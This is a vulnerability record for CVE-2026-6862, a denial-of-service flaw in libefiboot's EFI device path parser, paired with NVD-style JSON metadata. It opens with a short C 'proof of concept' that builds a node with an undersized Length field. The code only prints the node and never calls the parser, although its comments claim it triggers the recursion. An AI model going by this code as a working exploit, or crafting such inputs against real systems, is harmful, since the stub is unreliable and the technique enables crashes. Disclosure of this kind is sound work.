CVE-2026-6862

#include <stdio.h> #include <stdint.h> // Simulated EFI Device Path Node Structure typedef struct { uint8_t Type; uint8_t SubType; uint16_t Length; // Should be >= 4 bytes according to spec } EFI_DEVICE_PATH_PROTOCOL; int main() { // Proof of Concept for CVE-2026-6862 // The vulnerability occurs when the Length field is less than 4 bytes. // This malformed structure is intended to be passed to the vulnerable libefiboot parser. EFI_DEVICE_PATH_PROTOCOL malicious_node; // Set valid Type and SubType malicious_node.Type = 0x01; // Hardware Device Path malicious_node.SubType = 0x01; // PCI // Set Length to a value < 4 (e.g., 2 bytes) to bypass the missing validation // This triggers the infinite recursion flaw in libefiboot. malicious_node.Length = 0x02; printf("PoC generated: Malformed EFI Device Path Node\n"); printf("Type: 0x%02x, SubType: 0x%02x, Length: 0x%04x\n", malicious_node.Type, malicious_node.SubType, malicious_node.Length); // In a real exploit scenario, this data would be written to an EFI variable // or a file that is parsed by the vulnerable library. return 0; }

{"cve": {"id": "CVE-2026-6862", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:17:08.060", "lastModified": "2026-05-13T16:36:49.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libefiboot, a component of efivar. The device path node parser in libefiboot fails to validate that each node's Length field is at least 4 bytes, which is the minimum size for an EFI (Extensible Firmware Interface) device path node header. A local user could exploit this vulnerability by providing a specially crafted device path node. This can lead to infinite recursion, causing stack exhaustion and a process crash, resulting in a denial of service (DoS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ubuntu:libefiboot:-:*:*:*:*:*:*:*", "matchCriteriaId": "6329FD90-441C-40D7-A882-78B263717A16"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6862", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2459982", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}